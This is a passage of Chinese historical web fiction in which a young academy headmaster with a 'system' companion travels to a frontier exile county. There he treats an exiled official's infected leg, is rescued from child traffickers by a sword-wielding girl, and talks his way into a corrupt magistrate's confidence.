童启犹豫了一瞬,一边收拾着行装,一边解释道,“放心,往返不过一个月,咱们速战速决,耽误不了多久的。考得好不如选的好,他们明年考试,怎么也得要八月份,且还早呢!等柏老入职,给他们指点指点,可比纯复习要靠谱的多!该教的,我都已经全都教完了,剩下的就是看书整理,有着清虚子和潘阆他们在,没问题的。” 这就类似于高三最后阶段,除了多刷题多看书,还真没什么太多的方法。 拼到最后,全看学生自己。 他一个校长,在或不在,并无多大影响。 与其留着充当吉祥物,不如找两个“懂得填志愿”的专业老师回来,反倒更靠谱些。 “可……” “可什么可?系统,你有点不正常啊。” 童启放下手里的东西,一脸疑惑道,“若是以往,你这种反动分子不是最喜欢我冒险,或者反抗朝廷权威的吗?这一次怎么百般阻拦,说,什么情况,是不是背着我知道了点儿什么?” 系统:…… 这宿主眼皮活得,简直跟属猴一般,它不过稍稍露出一点点马脚而已,便立马被察觉到了。 “没……我只是,只是担心你嘛。”系统心虚不已。“毕竟那么远,又不在咱们的地盘,万一出点什么事……听说北边不少部落都喜欢秋冬南下劫掠什么的,不然你就多带点人,总好过单打独斗。” 它冒着封号的风险,自认已经违规提醒的足够多了,可童启却没有立即懂得这话语中的暗示。 他后知后觉皱起眉头,颇觉得有哪里不太对劲。 因着常年教书,固守在河南府小小的县城内,所以朝中大事,边境危机,童启只是听闻,却并不知晓详情,信息来源的渠道也十分狭窄,所以始终认为大奉朝整体环境目前仍是趋于和平的。 毕竟柏大将军都被扣押京城了,边境应该是相对于比较安全的吧? 可与柏老及系统的聊天,又突然让他想起一件始终忽视掉的事情。 ——燕云十六州。 历史上,这一块疆域乃是处于辽国治下,并不属于北宋的版图内,因此赵光义在位期间百般折腾,试图收回,这才给自己弄出了“高梁河车神”的外号。 可如今的大奉朝因着“赵爱国”猛人的横插一脚,格局已大大改变,燕云十六州早在建国时便被收回了,而契丹也因为地理位置问题,尚未称国。 那么问题来了,如今的契丹,难道对这块地就不会垂涎吗? 万一它和西夏联手的话…… 尤其如今朝廷内忌惮武将,柏大将军刚被调回京城,短时间内,肯定不会再令其带兵出去的,若他是西夏国国王,这何尝不是一个绝佳的动手机会? 内乱未平,若外患又起,以如今的环县、北部防线,能拦的住吗? 越想越觉得心惊,童启有意再套一套系统的话,问清楚到底是什么意思。 他这非酋的体制,总不可能只是去救个人,都能恰好碰上什么历史重大事件吧? 可偏偏系统却如同装死一般,再也不肯吭声。 问,就是建议别去,压根不肯说出任何有用的内幕消息。 迟疑了整整两日后,童启终究还是忍不住,决定亲自去看一眼。 毕竟这片土地是他未来长久生活的地方,他可不想老年生活在动荡不安之中,若有什么变动,提前知晓,防范起来也是好的,但因着系统的“友好”提醒,这一次,他不再轻装简行,而是带够了人和物品,这才出发。 不仅从售货机里多囤了几把水果刀,还特意将自己的秀才文书之类能表明身份的东西,全部带在了身上。 安保队的队长童继本这一次也一同随行,他清点了数十名好手,又从全胜镖局里找了十几名见过血的镖师,这才护送着童启,驾着马车,一群人浩浩荡荡,直奔环县而去。 所经之处,所有见到的商队、平民皆避让不已,不敢招惹半分。 甚至还因 此惊动了两个小县城的守门人员,误以为他们是来寻仇之类的,不敢放入,直到见了童启特意托县令大人开设的“游学文书”,这才半信半疑的令他们通过。 环县距离伊川,大概有1000公里之远,光是坐马车,就要行驶二十多天! 再加上官道不平,多有颠簸。 童启头一次长途跋涉跑这么远,差点将胃都给颠了出来。 到了地点后,别说去救人了,自己便先缓了个十来天,这才开始慢慢打听起曹家人的事情来。 一来二去,倒是比岳灼华偷摸跑出来还要晚上几日。 话说曹家一众,乃世代居住在京城的书香世家。 曹家家主曹钟诚,祖上更是担任过开国皇帝赵爱国的先锋营粮草官。也因此,其父娶了四皇子母亲身边的首席女官后,便算是与四皇子多少沾了点关系。可谁能想到,正是因为这一点关系,导致他们全家皆被牵连,判为四皇子一党,皇帝震怒之下,令其流放西北! 远至环县! 曹家上上下下六十多口人,被发卖的被发卖,被判刑的被判刑,最后只剩下六个嫡系,一肚子委屈,有苦难言,来不及辩驳,便踏上了离京的路。 一路上受尽冷眼折磨,吃也吃不好,睡也睡不好,还未到达目的地,便已经因高热死了两人。 曹钟诚抱着自己的发妻,哭的痛彻心扉,小孙子刚刚殁了,陪伴大半辈子的妻子又离他而去,这世上,哪里还有比这更悲惨的事情? “都怪我,都怪我啊!” 若不是他看不清局势,误信了那四皇子,也不会在年近晚年,还遭此大劫,更重要的是拖累了家里人,今后还有何脸面,再去见地底下的列祖列宗呢? 曹婉欣满眼含泪,端着水过来劝道,“爹,娘和辉儿本就身体不好,担不住这路上的辛苦,如今去了,反倒是一种解脱。您身子要紧,都已经两日没吃过任何东西了,好歹喝点水,咱们这个家,还需要您撑着呢!” “是呀,咱们家里还要靠您呢,您可千万不能出什么事啊!” 大嫂刘氏站在旁边跟着一同抹泪劝道,这才让曹钟诚多少缓过来了一些。 “衍儿呢,他如何了?烧可退了?” 问及丈夫,刘氏忙回道。 “已经退了!昨日从官差大哥那里借了一副药,勉强灌了下去,只是腿上的伤,依旧还是不好……” 那哪里是不好? 是已经快烂了!同行的官差曾半路揭开看了一眼,差点吐了出来,那黑紫色的伤口已经有了腐烂之意,臭味熏天,即便撑到了环县,想必也是治不好了,只能锯掉。 一想起丈夫那样风光霁月,如青松般骄傲的人,今后都只能躺在床上,苟延残喘为生,刘氏便忍不住心中阵阵发痛。 旁边的曹婉欣也只能跟着默默垂泪。 去年,她还在京城里和闺中密友岳灼华打赌,说今年珍品阁上新的第一波首饰,自己的未婚夫会不会替她抢下,可谁知今年便发生了这样的事,原本说好的亲事,也吹掉了。 好好的家,就这么四分五裂,只因为圣上的一句话。 多么可笑。 但凡真正经历过这种事的,都很难不对这朝廷报以怨怼。 什么留得青山在,不怕没柴烧,再厉害的人物,来到这环县,都得被磨掉一层皮,再也记不得家门之地! 由于挨着边境,又地处荒凉,每年被流放至此的犯人,不在少数。 县令大人早已经形成一套固定的逻辑方式,那便是别管你是谁,统统去做苦力去! 能活的下前三个月,再说分配之事。 男子们,从未拿过锄头的手和肩膀,如今个个却要扛起比自己身体还要重的泥沙来,修筑城墙。 女子们更是不得闲,整日忙着下地、开垦、劳作。 从睁眼开始,便在干活,稍有歇息,看守的衙役便会一鞭子抽打过来。 这尚不是最惨的,最惨的还是数此处临近西夏,有大部分的西夏人在当地为虎作伥,欺压百姓,动不动便以劫掠女子羞辱为乐,可城内的县令却压根不管,不仅不阻拦,还隐隐有着讨好奉承之举。 这便使得不少有姿色的女子日夜惊恐,连睡觉都不敢睡熟。 尤其刘氏与曹婉欣,两人怎么也曾是京都小姐,一张貌美的脸无论怎么遮掩,哪怕被抹上锅底灰,可那细嫩的皮肉,也照样难掩惊艳,走到哪里都能吸引过来一片垂涎的目光。 还未入住多久,便已经有不少人盯上,跃跃欲试。 曹婉欣夜夜颤抖,含着泪祈求岳灼华的早日到来,对方自闺中起便始终护在她身前,临走时,更是答应了她,不论如何定要见她一面。 她想着,起码要忍到对方过来,亲眼见过之后,再去寻死。 否则岂不是毁约了吗? 而官道上,岳灼华也确实为了那约定,拼命往环县赶去。 因着被父亲关了禁闭,她难以走正道,更没有通关文书,所以只得称病让丫鬟暂替着,自己则趁着夜黑风高,悄然换上了夜行衣,钻入了柏大将军巡边的军队中。 等被发现,已经走了一半的路,无可折返,更难以被送还回去。 柏弓良气愤不已,指着她怒道。 “你啊你,一个女孩子,怎么就敢独自跑出来?若是出了什么事情,我又该如何向你早去的母亲交代啊!” 岳灼华低垂着头,偷偷拿眼打量着舅舅的神色,见他虽懊悔担忧,却没有多少严肃的样子,便知事情不大,顿时顺着杆子往上爬,上前讨好道。 “舅舅,我的功夫您还不知道吗?出不了什么事情的!再说了,我一早就打听好了,特意等您的车队经过,这才跟上来。求求您了,我只是想要去见婉欣一面,她从未吃过苦,没有我的话,也不知道能不能适应环县的环境,我保证,一见到她,确定其安定下来了,便立马离开,绝对不会给您添麻烦的!” 柏弓良看着岳灼华祈求撒娇的模样,终究还是不忍心,只能同意下来,但是也再三警告,不准其乱跑,无事的话,更是不准其擅自下马车,必须得一直跟着自己,寸步不离才行! 否则一旦被发现身份,便要立即将她送回京城去,绝不轻饶。 岳灼华忙应下,再三发誓,这才勉强罢休。 第68章 第68章初次相遇 环县多沙,干燥少雨。 越往西,便越是荒芜。 柏大将军带着护卫,轻承少骑,刚靠近城门口,便引起了不少百姓的注意。 “咦?柏将军!是柏将军回来了!!” “什么?柏将军回来了?真的假的?” “啊啊啊柏将军你终于回来了,这次回来就不走了吧?柏将军,柏将军我们想你啊!” 瞬间慌乱的人群将整个马车围得水泄不通,难以前行半分,柏弓良骑在高头大马上,俯身一一和人打着招呼,颇有些难以招架这份热情。震天般的哭声喊声直接惊动了门口的守卫,急急上报给了当地的县令大人及巡检司司长。 两方忙派人前往维持治安,可饶是如此,也难以阻拦越来越多聚集起来的百姓们。 大家就像是受了委屈的孩子,终于找到了家长一般,喋喋不休的与柏弓良谈论着他走之后环县的事情,看似不过两年的时间,可却没有一个人忘记了柏家军仍在此处守卫的模样。 他们需要柏大将军的回来!更需要为他们撑腰的人在! 岳灼华坐在马车内,透过窗看着百姓们脸上的急切与紧迫,心脏疯狂的跳动着。 她一直知道自己舅舅的伟大之处,尽管所有人瞧不起武将,可难以否认的是,正是武将守住了这片江山,致使大奉朝能有如今安居乐业的模样,而现在亲眼所见的拥捧,恰恰是最有力的证明! 她目光一点一滴的划过这陌生的领域。 即便破旧,不如京城繁华,可却令人倍感亲切。 因为这便是她舅舅和大伯父驻守了大半辈子的地方。 是所有功勋、意义的所在地。 柏弓良俯视着激动的人群,内心同样骄傲不已。 可令他感到忏愧的是,自己注定无法回应这份希冀。这一次,他只是为了私事而来,而保卫西北,保卫环县的任务,早已经被圣上分派给了其他人,并不属于他。 望着大家失望的眼神,柏弓良及其队列里的副将,纷纷沉默下来。 时势造英雄,时势也限英雄。 他们能如何?不过是听令行事 ,以圣上的喜恶为一生罢了。 骤然经历了这一遭,柏弓良来不及休整,只得带着队列暂时入驻了环县最有名的客栈中,准备等第二日清早,再亲自前往县衙,拜访吴大人,疏通曹家的事情。 可没想到,正因着这一场阵仗,反倒提前得罪了对方,令其愈加愤怒嫉恨起来。 环县县衙内。 吴县令气哄哄的将身上的官服一把扯下,扔在椅子中。 神情难掩憋闷。 “妈的,他什么意思?一回来就给我搞这么个下马威,难道是故意给我看的?我好不容易花了两年才树立起的威信,他只露了这一面,就直接让我白干了?哼,这群不记恩的白眼狼贱民,竟然还敢拉着他哭诉,哭诉什么?老子勤勤恳恳,哪里不如他做的好了?难不成以为老子愿意呆在这种鬼地方吗?他一个武将,也敢如此放肆,等着吧,看我不整死他!” 有着县太爷的这句话,第二日,柏大将军登门,面对的便是脸拉的比鞋底还要长的文书们。 “烦请通报一声,就说柏弓良前来面见吴大人,想要寻个旧友,照拂一二。” 柏弓良放低了姿态,客客气气道,可对方却只是懒洋洋抬了个眼皮,表情漠然。 “哦?旧友?谁啊?报上来我听听,抱歉啊,近几日县太爷事务繁忙,没空见面,有什么,跟我说即可。” 岳灼华一身男装,紧紧跟在自家舅舅身后,闻言不由抬起了头来。 柏弓良犹豫一二,只得将曹家的信息一一递出。 可那文书却只是翻了翻,便直接否认道。 “抱歉,我们这里没有这个人。” “怎么可能没有?他们家几日之前就应该到了才对,这可是圣上亲旨,难不成你们还敢阳奉阴违?” 许是听到岳灼华的“圣上”二字,那文书这才稍稍收敛了一些态度,可仍旧不愿配合,道。 “既如此,那估摸着便是记在了别的册子上,需得我细细翻找个几遍,才能找到,你们先回去等消息吧。” 没想到这里的人竟然会如此粗俗无礼,岳灼华憋了一肚子的气,可在舅舅的眼神暗示下,也只得强忍下来。 一出了县衙,她便立马争辩道。 “舅舅,方才为什么不让我开口?那人分明是故意搪塞,不愿查找,不过一个底部文书,竟然敢对一位将军如此态度,简直荒唐!” 柏弓良无奈的解释道,“都说强龙不压地头蛇,这乃是吴县令的地盘,对方隶属于三皇子旗下,其母更是三皇子小时候信任的奶嬷嬷,你便是生气,又能如何?难不成还敢为此得罪三皇子吗?再等等吧,没准过几日等对方消了气,便好了。” 原本如此以为,可这一等,便是三五日之多。 每日他们派了人前往县衙询问消息,得到的均是还未查到的敷衍话,随着时间渐渐逼近,柏弓良也不由焦急起来。 他在朝廷里请的假一共只有十五天,光路上来回就得□□日,再等下去,连人都见不到,就得调头回去! 不能再这么被动下去了。 岳灼华早已经忍不住换了衣服,顺着市井里打听起流民村来,整日早出晚归,挨家挨户寻找着曹家的踪迹。 可毕竟流民村大的很,且还有着巡检司,日夜巡逻,要找起来,哪里那么容易? 事情就此陷入僵局。 而童启,便是这个时候,带着人正式进入的环县。 一路上,他晕晕乎乎,几乎没有任何精神头,从始至终躲在马车里,等休整好了,好不容易从客栈内走出,却发现不少人像是看西洋景一般紧盯着他,回头率高到出奇。 “怎么回事?他们在看什么?” 童启茫然的摸了摸自己的脸颊,颇有些摸不着头脑,而一旁的童继本则小心握紧了腰间的匕首,提醒道。 “山长,此地有些不太对劲,我们发现孩童数量极少,再加上您又生的粉雕玉琢……” 简直就是人贩子首选嘛! 童启哭笑不得,并没怎么放在心上,毕竟他也不是真的小孩,丢了就找不回来的那种,何况系统里兑换的匕首还正放在他的腰间呢,又有这么多人日夜守着,能出什么事? 不同于柏将军一来就闹出的那么大的动静,童启寻人,要更加隐晦直接一些。 他带着童继本径直蹲守在巡检司旁边,看到生活条件有些拮据的,便想办法将人拉到一旁,偷摸塞银子,以打听乡民下落为由,询问曹家的事情。 几次下来,果然找到了曹钟诚的详细住所,买通了守卫后,便带人溜了进去。 整个流民村,占地面积极大,大约有半个伊川县一般,分为东西南北四个坊。 曹家新来不久,被安排在靠西的坊中,领头看守的,乃是一位姓徐的军户。 童启避开人群,按照指点,来到一处院落前。 那院子全部皆由黄泥稻草糊就而成,怎么形容呢,大约即便是整个河南府最穷的棚户区,可能都没有这么破的,完完全全可以概况为危房的状态,只要一场暴风雨,或者轻微的地震,便可以瞬间冲垮。 四面透风,还未进门,屋内的人便率先发现,问出了声来。 “请问你们找谁?” 曹时序苍白着脸色,靠坐在窗口,因为只有他一个人腿部受伤,无法干活,所以其余的曹家人,早已经纷纷上值去了。 童启及童继本俯下身,钻进屋中,看着床沿上放着的破碗里装呈的黄水、黑馒头,忍不住心中一滞。 “你便是曹钟诚曹大人的儿子,曹时序吗?” 对方神色一肃,警惕的打量着童启几人。 他整理了一下衣衫,恭敬行了个文人的礼,道。 “在下华夏书院山长童启,乃是受柏盛青柏大人的委托,来营救几位的。” 营救? 曹时序看着正中间自称山长的孩子,不由整个人惊愕在原地。 柏盛青柏老他自是知晓的,对方与父亲乃是世交,年轻时,甚至差点将妹妹和岳灼华指腹为亲,是个十分值得信任的人。可这什么山长……他却连听都没听过。 可信吗? 然而他瞥了一眼如今的家徒四壁后,又自嘲的笑出声来。 也是,都到了这个地步了,还有什么可值得图谋的呢? 实际上,童启身上带着柏老写给自己的证明信,可此刻,他却并没有掏出,因为刚一进门,他所有的注意力便全部被对方那条快烂掉的腿,吸引了过去。 “天哪!你这腿……再不治疗就要完了啊!” 他忍不住说道,当即撸起袖子,便替对方查看起来。 曹时序来不及阻止,只能任由对方扒了裤子,局促不已。 这双腿,自他踏上流放之路后便没有人管过了,尤其环县大夫极少,他们这些被流放的,更是压根没有请人来看的资格,因此曹家早抱了绝望的心,等待截肢,如今刚一见面,便被揭了短处,说不气恼,是不可能的,可童启紧跟着的一句话,却让他整个人瞬间希冀起来。 “不行,等不到回书院了,我可能需要先给你简单清创一下,上个药,不然回头你就只能躺在床上了,还是先保住双腿要紧。” “等等,你是说,我这腿,有治?” 曹时序双眼骤然亮起,难以置信道。 “当然了。”童启迷惑的眨眨眼。 不过就是伤口发炎,一路上没有得到 治疗,所以腐烂掉了而已,只需要用匕首消过毒,挖掉那块肉,重新包扎上药即可。 即便他只是堪堪读了个西医入门,但想来……应该也没那么难? 幸好来的时候,王小花担忧他会遇上什么,提前给他装了一大堆书院里研究出的药来,不然,还真是无计可施! 曹时序既惊又喜,顿时也不追问了,当即便令童启帮忙将腐肉挖出来。 谁不想要一双健康的腿呢? 能好好行走,没人愿意成日瘫痪在床上。 他半倾着身体,行了个大大的礼道,“若真能治好,那便是我整个曹家的幸事,一切,便拜托山长了!” 说实话,这些事,童启也是第一次做,之前不过都是在书上照本宣科的看过,临到上手,还真有点紧张。 可伤势不容耽误,又没有良医,不论怎样,也只得硬着头皮上。 门外不远处,已经有人注意到了这里的奇怪之处,上前询问起来。 “欸,你们是谁?谁允许你们进来的?这里是流民营,没有县令大人的手书,谁也不准进!” 几个镖师死死拦住外人,不允许靠近屋内。 童启听到外面的争吵声,冷静的将匕首及火烛、药物等掏出,摆放成一排,这才发现唯独缺了麻沸散。 “不好,没带麻沸散,这怎么清创?” “无妨,我可以咬着布条!”曹时序忙说道,一把将旁边的纱布塞进了嘴里,用实际行动证明着自己的渴望之处。 那没办法了,再耽误,人就都过来了,还不知道要等到什么时候,届时伤口恶化,那才是真正的完蛋。 童启只得拿出工具,一一消毒。 可即便如此,第一刀下去的时候,对方仍旧痛的满额头青筋暴露,本能的挣扎起来,幸而被旁边的继本叔死死按住,这才勉强没有挣脱。 他下手极稳,不到半个时辰,便将两条腿的患处清理的干干净净,上了药后,包扎起来,方宣告结束。 曹时序长松一口气,身上的衣衫已经被汗水给生生浸透。 而屋外,被吸引过来的徐军户,也正在大发雷霆。 “放肆,你们是想要造反吗?来人啊,将他们这些逆贼,统统给我抓起来!” “我看谁敢?” 童启掀起衣摆,慢悠悠走了出去。 见到是个黄口小儿,徐军户这才方松了一口气,可即便如此,也没有放过的意思。 他一向在这流民村嚣张惯了的,曹家乃是他盯上的新猎物,只要再狠狠折腾几日,多多为难两下,那曹婉欣便明显撑不住了,快要从了他,又如何肯这个时候,任由人摘桃子,伸出援手呢? “哼,你们敢坏我流民营的规矩,你说我敢不敢?” “您便是徐军户吧?”童启打量着对方的神色,偷偷将一只荷包递了过去,“我只是来探望一下旧友,并无打扰诸位的意思,这点银子,不成敬意,还请拿去喝酒,我等很快便会离开。” 没想到对方会如此上道,徐军户掂量着里面的银子,顿时露出一副垂涎之色来,他打量了一下童启的身高,狮子大开口道。 “就这点银子,也敢敷衍我?你们擅闯此地,还贿赂本官,我怀疑你们和反贼私通!谁知是不是西夏的奸细?来人啊,给我搜一搜身!” 说着,旁边几个管事的便想上前来抢东西,当即被童继本等人给拦住。 童启整个阴沉下脸来,不耐烦的看着几人。 “徐军户,我劝您还是见好就收比较好,否则我若告到吴县令那里,大家岂不是落得个尴尬?我既然能一个人进来这里,便肯定是有把握一个人出去的,你确定,要与我等为敌吗?” 这句话,将几个人成功震慑住,不敢再上前。 徐军户细细打量着童启的穿着,知晓对方应是有着什么文人的功名在身,所以才能小小年纪,如此嚣张,顿时忌惮了两分。 “你认识吴县令?”他试探着。 “不然我怎么会知晓友人的详细住址呢?”童启自信回道。 他有把握,这徐军户不可能为了这点事情亲自去询问县令大人,那么,自己是什么身份,当然是看能编出什么,便是什么了。 摸不准他到底什么来头,徐军户不敢为难,想了想,握紧了手里的银两,索性摆摆手,让其离开。 可也警告了,没有下次,否则定饶不得。 顺带着,将整个曹家的安保工作都再次严加了几分,不准任何人靠近。 见到徐军户的态度,童启一路沉默着回到了客栈内,对曹家的情况,也感到了几分棘手。 他没想到这流民营竟会如此恶劣,更没有想到,曹时序的伤口已经那般严重了。 “看来是需要尽快下手了,否则,我们可能会引起其他势力的关注。” 毕竟这是皇帝亲自下的命令,不可能光明正大,只能暗着来。 于是他连夜写了一封拜帖,以三皇子同阵营的名义,约了第二日的吴县令。 果然得到了对方热情的邀约。 晚上流民村,辛苦劳作一日的曹钟诚回到家,见到长子伤势被包扎起来,旁边还放着几瓶药粉,顿时惊讶不已,忙问是谁来了。 听到乃是华夏书院的童山长,不由呆愣了一瞬。 “童山长?难不成是童启?” 曹时序点点头,“正是对方。” 没想到柏盛青会托付华夏书院的山长来,曹钟诚感到十分意外,在朝当官的时候,他便听说过童启的大名,既有才学又聪慧睿智,小小年纪便开了一家书院,不亚于龙胜之威,不可谓不厉害。 可以说只要路不走错,便绝对的前途无量! 那样的人,竟然会为了一件与自己无关的事,千里迢迢亲自赶来?这份心,实在是令人感动。 自家败以后,不知多少人躲着他们,连伸个手都难,童启能做到如此境地,已经是让他们感恩戴德不已。 当然,他们双双默契的忽视掉了童启的那句“营救”。 无人敢相信其背后真实的含义。 但凡进入流民营,便是一辈子,除非大赦天下,都再无出去的可能。 这已是公认的事实- 直到很多年后,童启仍旧记得那日阳光灿烂,与岳灼华阴差阳错的第一次见面。 滑稽,又可笑。 两个人皆没有料到今后会有什么样的缘分。 他原本准备好了马车和礼物,打算前往县衙,拜见吴县令,可刚上了车,便闻到一股奇怪的味道。 还未等缓过神来,眼见着马车经过拐角处,身后一只手突然伸出,将其连人带礼物,一并端走。 速度之快,行为之熟练,就连继本叔等人就守在马车旁,也毫无察觉。 于是,等岳灼华偷溜出来找曹家人的时候,赶巧便撞了个正着。 粗布衣衫的大汉行色匆匆,怀中却抱着个身着锦衣的男娃娃?一看,便很邪门好吗? 她脚下一拐,神色一厉,迅速便追了上去。 那大汉十分谨慎,边走边往后看,察觉到岳灼华的跟踪后,整个人加快了脚步,七拐八拐的,想要将其甩掉。 童启静静的躺在对方怀中,感受着不能动弹的四肢,心里骂骂咧咧。 谁能想到,他竟然也有不慎中招的一日。 而更无奈的是,这第一次的危机,遇到的不是刺杀,不是追踪,而是……人贩子? 他究竟是有多显小啊? 十一岁也能被拐卖? 童启彻底沉默下来,也不挣扎,郁闷的和脑海中的系统聊起了天来。 “所以,你那里确定没有什么长高的药水吗?我可以花声望值跟你买!” 系统:…… “你还有闲心操心这个?先顾好自己的安全再说吧!小心真把你卖进大山里,到时候,叫天天不应,叫地地不灵,咱们的任务才是真正的完蛋!” “那又如何?大山里也照样可以桃李满天下啊?你难道在歧视扫盲的意义吗?” 童启索性闲着也是闲着,一时半刻也恢复不了力气,便干脆在脑海中跟系统辩驳走出大山的事情来。 大概不到一盏茶的时间吧,突然,抱着他的人动作一滞,敏感的避开了来自身后的攻击。 只听到一声清脆的呵斥。 “站住!你是谁,快把孩子放下来,否则,我便不客气了!” 咦?有人救援? 童启努力伸长了脖子,想看清楚到底是哪位勇士,只是听声便知道,估摸着是个年纪没多大的少年。 可抱着他的人却冷哼一声,拍了拍手,不知从哪里又冲出了十几名同伙来,径直将岳灼华团团围住。 “好小子,你竟还敢跟过来,既如此,那我便让你看看天有多高,地有多厚!” 许是头一回遇到如此猖狂的人贩子,岳灼华本能的摸住了腰间的软刀。 还不等抽出,对面便直接冲了上来。 她急忙招架,一人难敌四手,刚开始,还十分吃力,可等摸清楚了几个人的招式后,整个局势,便顿时逆转起来。 童启被放置在地上,艰难的侧躺着,看向远处打斗的人群。 依稀间,他只能够看出对方的衣衫飞舞,行云流水的招式,大开大合,拳拳到 肉,痛快至极。 不像打架,反倒像是艺术。 眼见着敌不过,那旁边的壮汉伸出手,便打算抱起童启离开,可一把刀直直射入地面中,阻拦了他的动作。 那刀,距离壮汉的手指不过一寸不到的距离,而距离童启的脑袋,也只有一掌之宽。 吓得童启本能打了个惊嗝,难以抑制。 赶跑了最后一拨人,岳灼华这才上前将童启抱了起来,搂入怀中,轻声问道。 “你没事吧?还记得家里人在哪里吗?要不要我送你回去?” 微微后仰了一点脑袋,看着近在咫尺的脸庞,童启这才逐渐分辨出,这并非是个少年,而是个女孩子。 哇……一个女孩? 舞起刀来飒飒生风,眨眼间直接吱个声打败了十几个男人? 有点牛哇! 自来到大奉朝起,童启已经看惯了大门不出二门不迈,弱柳扶风,怯怯弱弱,连头也不敢抬的女子,搞的他还以为古代女子都是这种性格的! 没想到竟还有完全不同,如此帅气的! 感觉到对方眼中的欣赏之意,岳灼华有些好笑。 她凑近了,耐心的打量着这似乎吓到了的孩童,黑黢黢的瞳孔宛如睁大眼睛的波斯猫,充满了神秘与幽邃,仿佛自带了一层光芒与滤镜,令人挪不开半点眼来。 短短几秒钟的时间,宛如烟花璀然绽放,光芒万丈。 童启滞了一滞,很快被拉回现实。 “小孩儿,你还好吗?用不用姐姐送你回去?” 小孩儿…… 姐姐? 童启被这称呼狠狠扎了一刀,刚反应过来,想开口解释什么,可远处发觉了山长丢失的童继本等人,已经急急忙追了过来。 “山长!山长!” 好家伙,出门一趟,人没救回来,要是反倒把山长给弄丢了,那估计整个华夏书院都得派人追杀他! 一众人吓得魂飞魄散,几乎连喊带问,这才总算找到了人贩子跑的方向。 岳灼华见他们焦灼不已,估摸着便是这男孩的亲友了,当即也不久留,转过身,便直接离开,逃离了人群中。 她不敢暴露自己动了武的事情,因此这事,连舅舅也没有告知,便直接隐瞒了下去。 客栈中,柏弓良拿着信,兴奋不已的踱着步。 “太好了!若是早知道他也在环县,那我还急什么?凭白露头,耽误这么长的时间!还是父亲有远见,此事交给他,曹家的事算是彻底稳妥了,既如此,我们便先等着,看看他会怎么做,必要时再出手配合。莫要因为随意插手,而干扰了对方的真正计划!” “是!” 柏弓良身边的副将听闻后,高兴的连忙应承下来。 而岳灼华则站在一旁,好奇的追问到底是谁。 听说华夏书院的山长童启,竟也来了环县后,她一脸惊诧。 华夏书院?就是那个每月因为校刊内容而在京城小姐中争吵不休的地方吗?想起上面刊登的不少内容与思想,岳灼华本能对其产生了一丝好奇。 到底会是何种人才,才会有那样稀奇古怪的想法。 外祖父竟和他也有交集的吗?是了,都在伊川县,怪不得……能成为朋友。 想来,那人应该也是个同样德高望重,智慧过人的老头吧? 有其帮忙,婉欣她们,定然能够逢凶化吉!福星高照! 第69章 第69章一箭扬名 压根没想到自己身上担了那么多人的希望,刚被救下来的华夏书院山长本人,此时还有些愣愣的,难以清醒。 童继本等人找到他后,被唬得连忙喂药擦脸,好不容易,才总算解了童启身上的药性。 奈何对方第一句张口的却是。 “啊,丢脸死了……” 他失魂般的往后一倒,深觉奋斗了好几年的颜面,在今日一夕之间,荡然无存。 该死的人贩子,为什么偏偏要挑这个时候?而且还下药!搞得他连道谢都没来得及,只给别人心里留下了无知孩童的模样? 也太悲催了吧! 系统早已坐在意识海中,笑得癫狂无比。 童启无语的揉搓了几下脑袋,暂且将此事暂时抛诸脑后,他连忙敲了敲对话框,令其将方才绑他的人贩子藏身之所给标注出来。 其他人可以放过,人贩子是万万不能放过的! 他领着童继本等人,连抄带找,一共抓了数十名同伙,连带着救出了二十几名孩童,一起送到了县衙中去。 同样浩浩荡荡的上门,这一次,吴县令却是既惊又喜。 “早就听闻华夏书院的山长聪明伶俐,才学过人,于破案一道最是有天赋。果然!这伙贼人,我等已经寻了数月之久,都没抓到,竟意外被您给一锅端了?也是合该他们倒霉,命数如此啊!” 什么命数?明明就是实力! 旁边的童继本本能的皱了皱眉头,被童启抬手挡了下来。 “要不怎么说我俩有缘呢?吴大人不责怪我僭越,抢了您的功,已经是心胸大度!我作为晚辈,贸然上门拜访,总该多备点礼物才是!总是从三皇子那里听说您仪表不俗,为人亲切,今日一见,果然如此,令人心折啊!” 几句话,哄得吴县令身体通畅,原本见到童启年龄小而产生的一丝不适,也随之消逝掉了。 他忙拉着童启上座,寒暄起来,一副忘年交的模样,欣赏无比。 童启也十分配合,不论对方谈到什么,总能快速找到话题。 很快的,两人之间的称呼便顺理成章改为了“吴兄”与“贤弟”。 童继本站在一旁充当着护卫,鸡皮疙瘩都掉了一地,不由心中暗叹这些文人的伪装之法。 真是见人说人话,见鬼说鬼话,无怪乎能把武将耍得团团转。 两人闲聊一会儿,半晌,话题才总算来到了重点之处。 “话说,贤弟这次来环县,可是有何要事?你那书院里不是正兴隆,为三皇子培养人才吗,怎么竟亲自来此?” “说来话长啊!”童启长叹一声,装作为难的模样,提起了曹家之事,“我那新上任的先生与曹家乃是旧友,听闻此事后,哭的是肝肠寸断,忙央了我来此探望一二,我想着反正也要来拜见吴大人,便应承了此事,顺带着来看看,不知……可否通融?” “这……” 没想到童启竟然也是为了曹家而来,吴县令有些纠结。 那曹钟诚,乃著名的四皇子一党,与他们三皇子旗下按理来说是水火不容的,得知全家被发配来此,刁难都来不及,哪里还会帮衬?说着来探望,可见了人之后,难免不会想着带走,或者是营救,但这可是朝廷内下的旨,谁敢擅专? 拒绝吧,对方又是同一个阵营,且头 一次登门拜访,求到了他的跟前。 不理会,也难免有些下了对方的面子。 童启见此,悄然走上前,递给了他一封信道。 “当然了,我也不想隐瞒吴大哥,其实那曹家与我,乃是三皇子暗中布下的一颗大棋,非核心中央人员不得透露。我来时,已经得了信,三皇子命令我见机行事,与您紧密配合即可,只要不闹的太大……” 一个人两个人的,又值当着什么? 被直接抹去,不也是很轻易的事情吗? 吴县令瞳孔大震,没想到其内还有这样的隐情,忙打开那信件翻阅起来,果然见是三皇子亲笔大印。 说的内容,也和童启一般无二。 不由顿时信了几分。 可实际上,三皇子的意思却并非如此。 临来时,童启以活字印刷术及【报纸】的相关想法,去信给对方,意图换下曹家所有人,进入华夏书院任职。可三皇子不敢违抗圣上之命,又舍不得童启带来的方子和利益,纠结一番后,便索性当作不知情,任由其与吴县令配合,改善改善曹家的待遇即可。 至于什么营救出来,一同带回伊川,那都是童启瞎编的。 可他确信,心照不宣的事情,只要无人深查,有三皇子撑着,便出不了什么大错。 当然,从始至终,柏老在这里面的意义,他皆隐去了,没有言说。 只是讲自己惜才,不忍才华浪费罢了。 不然被知晓了,肯定会被三皇子怀疑他首鼠两端的。 “说来也巧,贤弟偶然得了一个方子,在印刷一事上,十分便捷,听闻您母亲喜欢佛经,不如便将此方一同赠与您,也好方便传播福音之事……这方子我给三皇子那边也送了一份,所以即便公开使用,也不妨事的。” 童启将活字印刷术的做法同样抄写了一份送给吴县令。 